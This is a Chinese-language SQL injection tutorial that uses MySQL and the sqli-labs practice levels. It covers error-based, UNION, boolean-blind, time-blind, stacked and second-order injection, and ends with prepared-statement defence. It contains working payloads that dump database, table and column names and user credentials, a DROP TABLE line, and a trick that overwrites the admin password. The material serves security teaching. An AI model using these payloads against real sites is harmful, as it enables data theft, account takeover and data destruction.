SQL注入入门讲解
SQL注入
注:本次课程以mysql为例
1.什么是sql注入,sql注入的原理
SQL 注入(SQL Injection)作为 Web 应用常见漏洞之一,长期位列 OWASP Top 10 安全风险的前列,严重时可导致数据库数据泄露、数据篡改、数据库破坏,甚至可能进一步获取服务器权限。
SQL 注入是一类通过向应用程序输入端注入恶意 SQL 指令,从而使服务器在执行查询时被迫执行攻击者构造的 SQL 语句的攻击方式。
其本质是:
用户可控输入 + 字符串拼接 SQL + 缺乏输入验证
只要满足这三个条件,就可能产生注入风险。
2.sql注入常见的类型
如何判断是否存在sql注入
1.输入' 后发现回显有异常,输入''后无异常,并且是规律性的----存在字符型注入
2.输入运算 1+1 回显是2 或者 1/0回显报错 -----存在数字型注入
正常查询
SELECT * FROM user WHERE id = '1' AND name = '' ;
异常查询



在注入前,我们需要让sql语句完全闭合/匹配
1. 基于错误回显的注入(Error-based Injection)
服务器返回 SQL 错误信息,攻击者通过错误提示判断数据库类型、结构等。
示例:
SELECT * FROM users WHERE id = '1' AND name = ''' ;
返回语句可能包含数据库结构、SQL 语法信息等敏感内容。
?id=1'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
这句报错明确泄露数据库类型是 MySQL,反推出后端执行的大概 SQL 语句结构SELECT [查询字段] FROM [业务表名] WHERE [查询条件字段] = ''1'' LIMIT 0,1
我们看一下后端

基本上猜对了,而我们注入一个'会报错,是因为我们的sql语句变成了
SELECT * FROM users WHERE id='1'' LIMIT 0,1
MySQL 解析单引号的规则是:单引号必须「严格两两成对出现」,才能包裹出合法的字符串值,解析器会从左到右配对
2.联合查询注入(UNION-based Injection)
攻击者可以利用 UNION 将自己的查询结果拼接到正常结果中,从而读取任意表数据。
示例:
?id=-1' UNION SELECT 1,database(),3--+ //拿库
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ //拿表
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ //拿字段
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+ //拿数据
如果响应页面能直接展示查询结果,则会将敏感数据泄露给攻击者。

3.布尔盲注(Boolean-based Blind Injection)
sqli-labs-5
服务器不返回错误信息,但页面会根据条件真假出现不同显示效果。攻击者通过判断页面变化逐位猜测数据库结构。
示例:
?id=1' AND 1=1 --+ (页面正常)
?id=1' AND 1=2 --+ (页面变化/变空白)


?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。
4. 时间盲注(Time-based Blind Injection)
攻击者使用数据库的时间延迟函数,通过页面响应时间判断条件真假,用于在无错误回显、无页面差异的情况下进行探测。
示例(MySQL):
?id=1' and if(1=1,sleep(5),1)--+
sqli-labs9
?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。
5. 堆叠查询注入(Stacked Injection)
使用分号执行多条 SQL。如果系统允许多语句执行,则可能同时执行恶意语句。
示例:
1; DROP TABLE users; --
堆叠查询指的是:在一条 SQL 语句中,使用「分号;」作为分隔符,一次执行多条相互独立的SQL语句。
MySQL 的原生语法天然支持这种写法,比如:
SELECT * FROM users WHERE id=1; DELETE FROM users; SELECT * FROM goods;
依旧先看数据库

我们发现这是正常是一个堆叠查询,那如果对方的查询语句允许我们堆叠查询,我们就可以使用该注入方法
什么时候能使用堆叠查询 / 触发堆叠注入
✅ 条件一:「数据库层面」- MySQL 原生支持堆叠查询(默认满足)
其他数据库也支持堆叠查询,比如 SQL Server、PostgreSQL,Oracle 不支持分号分隔的堆叠查询,这是数据库本身的语法差异。
✅ 条件二:「代码层面」- 后端调用了「支持执行多条 SQL 语句」的数据库 API 函数 / 执行方法
这是堆叠查询能否生效的核心关键
mysqli_multi_query // PHP+MySQL
Statement stmt = conn.createStatement(); //JAVA
6. 二次注入(Second Order Injection)
注入语句第一次写入数据库时不会触发注入,但系统在后续使用该字段拼接 SQL 时才会触发漏洞。
示例:
注册用户名输入
admin'#
入库安全,但后台查询:
SELECT * FROM users WHERE username='admin'#'
导致注入。
例题:sqli-labs24
首先我们先看数据库

这里存放了用户的基本信息,现在我们进行注册
admin'# /123456
单引号是为了和之后密码修的用户名的单引号进行闭合,#是为了注释后面的数据。

注册成功,登录同样成功

但是我们现在修改一下密码:111,密码修改成功

但我们查看数据库会发现

修改的是admin账号的密码
为什么能注入成功
因为登录页面和注册页面对于密码和账户名都使用mysql_real_escape_string函数对于特殊字符进行转义。这里我们利用的是注册页面,因为虽然存在函数对特殊字符进行转义,但只是在调用sql语句时候进行转义,当注册成功后账户密码存在到数据库的时候是没有转义的,以原本数据存入数据库的。当我们修改密码的时候,对于账户名是没有进行过滤的。
登录页面,转义

注册页面,转义

修改密码页面
我们发现对密码有转移,但是对username没有,存在注入

3.我们如何利用
上面讲述了常见的利用方法/注入方法,现在讲一下绕过
绕过技巧
如何防护
预编译防护
预编译(Prepared Statement)也叫参数化查询,核心是:把 SQL 语句的「语法骨架」和「用户输入的参数」彻底分离,分两步执行 SQL,这个分离是数据库层面强制实现的,不是后端代码层面的分离。
使用预编译语句(Prepared Statement)
这是防御 SQL 注入最有效的技术手段。
示例(Java JDBC):
String sql = "SELECT * FROM users WHERE username=? AND password=?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, username);
stmt.setString(2, password);
第 1 步:预编译「SQL 语法骨架」,数据库只解析语法,不传入参数
后端先把 不带任何参数值 的 SQL 骨架发给 MySQL:
String sql = "SELECT * FROM users WHERE username=? AND password=?";
预处理语句会先编译 SQL,再绑定参数,用户输入不会影响 SQL 结构。
这里的 ? 是「参数占位符」,作用是占位置,告诉数据库:「这个位置后续会传入纯数据,现在你只需要解析我的 SQL 语法是否正确」。
- MySQL 会对这个骨架做「语法编译」,生成执行计划;
- 此时没有任何用户输入参与解析,所以不管后续参数是什么,语法永远合法
第 2 步:绑定参数并执行,数据库只把参数当作「纯数据」处理
语法编译通过后,后端再把「用户输入的参数值」(比如 1、1'、' OR 1=1 #)单独发给 MySQL,MySQL 会把参数强行填充到占位符 ? 的位置。
✅ 最关键的安全规则(预编译防注入的灵魂)
MySQL 在预编译模式下,会对传入的参数做「强制数据化处理」:无论参数里包含什么字符(单引号
'、双引号"、OR、AND、#、-- 等),都会被当作「普通的字符串 / 数字数据」,永远不会被解析成 SQL 语法!

浙公网安备 33010602011771号